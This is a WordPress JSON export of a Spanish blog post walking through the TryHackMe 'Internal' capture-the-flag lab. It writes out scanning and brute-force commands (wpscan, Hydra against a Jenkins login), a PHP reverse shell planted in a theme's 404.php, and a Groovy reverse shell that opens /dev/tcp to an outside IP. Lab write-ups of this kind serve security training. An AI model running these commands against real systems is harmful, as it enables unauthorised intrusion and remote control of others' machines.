{"id":946,"date":"2022-10-26T00:31:18","date_gmt":"2022-10-25T22:31:18","guid":{"rendered":"https:\/\/www.pinguytaz.net\/?p=946"},"modified":"2022-10-26T00:31:19","modified_gmt":"2022-10-25T22:31:19","slug":"tryhackme-ctf-internal","status":"publish","type":"post","link":"https:\/\/www.pinguytaz.net\/index.php\/2022\/10\/26\/tryhackme-ctf-internal\/","title":{"rendered":"(TryHackMe) \u2013 CTF Internal"},"content":{"rendered":"\n<p>El reto de esta maquina consiste en localizar dos banderas:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>User.txt<\/li><li>Root.txt<\/li><\/ul>\n\n\n\n<p>Ademas realizaremos la t\u00e9cnica de Pivoting.<\/p>\n\n\n\n<p>Comenzamos primero, como siempre, buscando los puertos abiertos en la maquina y despu\u00e9s realizaremos un an\u00e1lisis m\u00e1s completo de estos obteniendo versiones y otros datos de esos servicios.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sS -Pn -p- &lt;IP maquina atacada&gt;\nnmap -p 22,80 -Pn -sS -sV -T4 -sC -oA Informe_Internal &lt;IP_Maquina&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"559\" height=\"144\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-19.png\" alt=\"\" class=\"wp-image-951\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-19.png 559w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-19-300x77.png 300w\" sizes=\"auto, (max-width: 559px) 100vw, 559px\" \/><\/figure>\n\n\n\n<p>Vemos dos servicios SSH y HTTP, iniciaremos la exploraci\u00f3n por el que normalmente localiza m\u00e1s huecos que es el servidor HTTP.<\/p>\n\n\n\n<p>En una primera mirada, incluso ejecutando \u00ab<em>whatweb<\/em>\u00bb para identificar que se esta ejecutando parece que es solo un apache y que todav\u00eda no tenemos p\u00e1ginas configuradas. Profundizamos m\u00e1s y analizamos los directorios.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>dirb &lt;URL&gt;<\/code><\/pre>\n\n\n\n<p>Descubrimos algunos directorios de inter\u00e9s, que nos indican aplicaciones instaladas.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\/blog  Posible WordPress por los subdirectorios: wp-admin, wp-content.<\/li><li>\/wordpress<\/li><li>\/phpmyadmin   Posible aplicaci\u00f3n de gesti\u00f3n de BBDD.<\/li><li>\/javascript contiene jquery.<\/li><\/ul>\n\n\n\n<p>Intentamos ahora la identificaci\u00f3n con \u00ab<em>whatweb<\/em>\u00bb de estas entradas, ademas de conectarnos directamente desde el navegador.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>whatweb -a 3 http:\/\/&lt;IP&gt;\/blog\nwhatweb -a 3 http:\/\/&lt;IP&gt;\/wodpress\nwhatweb -a 3 http:\/\/&lt;IP&gt;\/phpmyadmin<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"281\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-20-1024x281.png\" alt=\"\" class=\"wp-image-953\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-20-1024x281.png 1024w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-20-300x82.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-20-768x211.png 768w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-20.png 1037w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Vemos que son dos WordPress y una aplicaci\u00f3n PHPmyAdmin. As\u00ed que vamos a centrarnos en el WordPress del directorio \/blog  cuya informaci\u00f3n incial es:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Servidor Apache 2.4.9<\/li><li>WordPress 5.4.2<\/li><\/ul>\n\n\n\n<p>Uutilizando la herramienta \u00abwpscan\u00bb para obtener m\u00e1s informaci\u00f3n del gestor de contenidos WordPress instalado como sun los plugin vulnerables, usuarios.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wpscan --url &lt;URL&gt; -e vp,vt,u\nwpscan --url &lt;URL&gt; -U &lt;Usuario&gt; -P &lt;F_Claves&gt;    \/\/Claves por fuerza bruta de los usuarios<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image alignleft size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"441\" height=\"127\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-21.png\" alt=\"\" class=\"wp-image-957\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-21.png 441w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-21-300x86.png 300w\" sizes=\"auto, (max-width: 441px) 100vw, 441px\" \/><\/figure>\n\n\n\n<p>Informaci\u00f3n adicional interesante que obtenemos al ejecutar estos dos comandos son:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>XML-RPC  habilitado<\/li><li>Wp-cron habilitado<\/li><li>Usuarios encontrados: <em>admin<\/em>, el cual tambi\u00e9n hemos logrado obtener su clave.<\/li><\/ul>\n\n\n\n<p>Lo cual nos permite acceder al panel de control (http:\/\/internal.thm\/blog\/wp-login.php) antes definiremos en nuestro \/etc\/hosts la entrada \u00abinternal.thm\u00bb con la IP de la maquina para no tener problemas en la carga. Dentro del administrador podremos crear un fichero PHP con un <em>Shel-Inverso<\/em>-In que nos abra un Shell. Usaremos la pagina 404.php que es la que se produce en caso de error.<\/p>\n\n\n\n<p>Usaremos el Shell inverso \u00abhttps:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php\u00bb cuyo contenido es el que sustituir\u00e1 el PHP \u00ab404.php\u00bb cambiando nuestra IP y el puerto<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -lvnp 4444\ncurl http:\/\/internal.thm\/blog\/wp-content\/themes\/twentyseventeen\/404.php<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image alignleft size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"345\" height=\"165\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-22.png\" alt=\"\" class=\"wp-image-959\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-22.png 345w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-22-300x143.png 300w\" sizes=\"auto, (max-width: 345px) 100vw, 345px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-23.png\" alt=\"\" class=\"wp-image-961\" width=\"542\" height=\"206\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-23.png 735w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-23-300x114.png 300w\" sizes=\"auto, (max-width: 542px) 100vw, 542px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Una vez en el sistema empezaremos con una enumeraci\u00f3n para localizar la bandera y escalada de privilegios si es necesario, para la enumeraci\u00f3n del sistema usaremos LinPEAS, vemos datos interesantes para una escala de privilegios:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>SO: Confirmamos que es un Linux 4.15.0-112-generic, Ubuntu 18.04<\/li><li>La versi\u00f3n del sudo 1.8.21p2, pero al comprobar en comando vemos que no tenemos permiso de sudo con este usuario.<\/li><li>Vemos que nos da dos vulnerabilidades en especial CVE-2021-4034 y CVE-2022-2588, ademas de otras a probar.<\/li><li>El SSH nos permite logarnos como root \u00ab<strong><em>PermitRootLogin yes<\/em><\/strong>\u00ab<\/li><li>Directorio <strong>\/opt<\/strong> que normalmente esta vaci\u00f3,  as\u00ed que iremos a el a ver si podemos obtener algo.<\/li><li>Obtiene las claves de ficheros PHP, como la BBDD de wordpress (fichero wp-config.php) y el usuario phpmyadmin.<\/li><li>Y otra informaci\u00f3n que revisar\u00edamos si con esta no es suficiente para localizar las banderas.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image alignleft size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"725\" height=\"234\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-24.png\" alt=\"\" class=\"wp-image-967\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-24.png 725w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-24-300x97.png 300w\" sizes=\"auto, (max-width: 725px) 100vw, 725px\" \/><\/figure>\n\n\n\n<p>Vamos a ver contenidos de los ficheros de \/opt y vemos un directorio que no tenemos acceso y un fichero \u00abwp-save.txt\u00bb que parece nos da la clave del usuario aubreanna.<\/p>\n\n\n\n<p>Asi que intentamos conectarnos por ssh a este usuario.<\/p>\n\n\n\n<figure class=\"wp-block-image alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-26.png\" alt=\"\" class=\"wp-image-970\" width=\"406\" height=\"138\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-26.png 534w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-26-300x102.png 300w\" sizes=\"auto, (max-width: 406px) 100vw, 406px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image alignleft size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"513\" height=\"252\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-25.png\" alt=\"\" class=\"wp-image-968\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-25.png 513w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-25-300x147.png 300w\" sizes=\"auto, (max-width: 513px) 100vw, 513px\" \/><\/figure>\n\n\n\n<p>Vemos el fichero user.txt, con lo cual logramos la primera bandera, y ademas otros ficheros que miramos su contenido por si nos dan alguna informaci\u00f3n como sucede con el fichero \u00abjenkins.txt\u00bb que nos indica que en la 172.17.0.2 esta el servicio jenkins. Realizamos un <em>ifconfig<\/em> y comprobamos que tenemos acceso a esa red, ademas miramos si alguien escucha en ese puerto y tambien vemos que es as\u00ed.<\/p>\n\n\n\n<p>Para probar a conectarnos con el navegador debemos realizar una redirecci\u00f3n.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-27.png\" alt=\"\" class=\"wp-image-971\" width=\"306\" height=\"261\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-27.png 565w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-27-300x256.png 300w\" sizes=\"auto, (max-width: 306px) 100vw, 306px\" \/><\/figure>\n\n\n\n<p>Ahora podemos conectarnos a la direcci\u00f3n 172.17.0.2:8080 desde nuestra maquina invocando a 127.0.0.1:8080 y vemos que es la pagina de jenkins.  As\u00ed que vamos a intentar localizar la clave del usuario admin con Hydra.<\/p>\n\n\n\n<p>Lo primero sera analizar el codigo de la pagina para conocer la acci\u00f3n, la variable usuario y la variable clave.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Accion: j_acegi_security_check<\/li><li>Nombre: j_username<\/li><li>Clave:  j_password<\/li><\/ul>\n\n\n\n<p>Ahora ya podemos montar el comando Hydra<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hydra -l admin -P rockyou.txt 127.0.0.1 -s 8080 http-post-form \"\/j_acegi_security_check:j_username=^USER^&amp;j_password=^PASS^&amp;from=%2F&amp;Submit=Sign+in:Invalid username or password\"<\/code><\/pre>\n\n\n\n<p>Obteniendo la clave del usuario admin que nos permitir\u00e1 acceder a la aplicaci\u00f3n, ahora podemos crear un shell-inverso en Grovy( lenguaje de jenkins) y as\u00ed obtener un shell en la maquina.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>r = Runtime.getRuntime()\np = r.exec(&#91;\"\/bin\/bash\",\"-c\",\"exec 5&lt;>\/dev\/tcp\/10.8.6.223\/4445;cat &lt;&amp;5 | while read line; do \\$line 2>&amp;5 >&amp;5; done\"] as String&#91;])\np.waitFor()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-29.png\" alt=\"\" class=\"wp-image-973\" width=\"436\" height=\"134\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-29.png 756w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-29-300x92.png 300w\" sizes=\"auto, (max-width: 436px) 100vw, 436px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image alignright size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-32.png\" alt=\"\" class=\"wp-image-976\" width=\"482\" height=\"166\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-32.png 524w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-32-300x103.png 300w\" sizes=\"auto, (max-width: 482px) 100vw, 482px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"879\" height=\"126\" src=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-31.png\" alt=\"\" class=\"wp-image-975\" srcset=\"https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-31.png 879w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-31-300x43.png 300w, https:\/\/www.pinguytaz.net\/wp-content\/uploads\/2022\/10\/image-31-768x110.png 768w\" sizes=\"auto, (max-width: 879px) 100vw, 879px\" \/><\/figure>\n\n\n\n<p>No vemos el fichero root.txt al realizar un find pero encontramos uno que nos puede contener informaci\u00f3n \u00fatil \u00ab\/op\/note.txt\u00bb  y al verlo parece que es el usuario root de nuestra maquina.<\/p>\n\n\n\n<p>Realizamos un su en la otra maquina con esta clave y vemos que accedemos y que ahora tenemos acceso a \u00ab\/root\/root.txt\u00bb que al realizar el cat vemos la bandera de root.<\/p>\n\n\n\n<p>Hasta la proximoa CTF.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El reto de esta maquina consiste en localizar dos banderas: User.txt Root.txt Ademas realizaremos la t\u00e9cnica de Pivoting. Comenzamos primero, como siempre, buscando los puertos abiertos en la maquina y despu\u00e9s realizaremos un an\u00e1lisis m\u00e1s completo de estos obteniendo versiones y otros datos de esos servicios. Vemos dos servicios SSH y HTTP, iniciaremos la exploraci\u00f3n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":965,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[110,19,184,16],"tags":[131,185,87,183,88,90,91],"class_list":["post-946","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-escalar-privilegios","category-pivoting","category-seguridad","tag-dirb","tag-linpeas","tag-nmap","tag-pivoting","tag-whatweb","tag-wordpress","tag-wpscan"],"_links":{"self":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/946","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/comments?post=946"}],"version-history":[{"count":13,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/946\/revisions"}],"predecessor-version":[{"id":977,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/posts\/946\/revisions\/977"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/media\/965"}],"wp:attachment":[{"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/media?parent=946"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/categories?post=946"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pinguytaz.net\/index.php\/wp-json\/wp\/v2\/tags?post=946"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}